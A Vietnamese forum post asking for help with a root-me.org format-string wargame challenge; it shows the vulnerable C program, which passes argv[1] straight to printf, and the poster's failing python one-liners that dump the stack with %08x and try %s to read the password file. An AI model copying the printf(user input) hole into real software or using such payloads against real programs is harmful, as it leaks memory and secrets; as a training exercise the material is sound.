ELF x86: format string basic 1

com0t

New Member
11/07/2017
0
3 bài viết
ELF x86: format string basic 1
mình làm bài trong root-me.org phần : format string basic 1 thì gặp lỗi không lấy được pass.
Không hiểu thiếu hay sai bước nào? Ai giúp mình tìm lỗi sai với!!!
Thanks!!!
  1. #include <stdio.h>
  2. #include <unistd.h>

  3. int main(int argc, char *argv[]){
  4. FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
  5. char buffer[32];
  6. fgets(buffer, sizeof(buffer), secret);
  7. printf(argv[1]);
  8. fclose(secret);
  9. return 0;
  10. }
Trình tự mình làm:
B1: Tìm địa chỉ biến buffer trong gdb: 0xb7fd0ed8
B2: quét stack: ./ch5 `python -c "print 'AAAA'+'%08x.'*138"`
B3: Thay địa chỉ buffer cho AAAA: ./ch5 `python -c "print '\xd8\x0e\xfd\xb7'+'%08x.'*138"`
B4 Căn để đọc được chuỗi đầu tiên: ./ch5 `python -c "print '\xd8\x0e\xfd\xb7'+'%08x.'*134+'%x%x'"`
B5: chuyển %x thành %s để đọc: ./ch5 `python -c "print '\xd8\x0e\xfd\xb7'+'%08x.'*134+'%x%s'"`
Và kết quả không hiển gì cả!!!
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
format string
Bên trên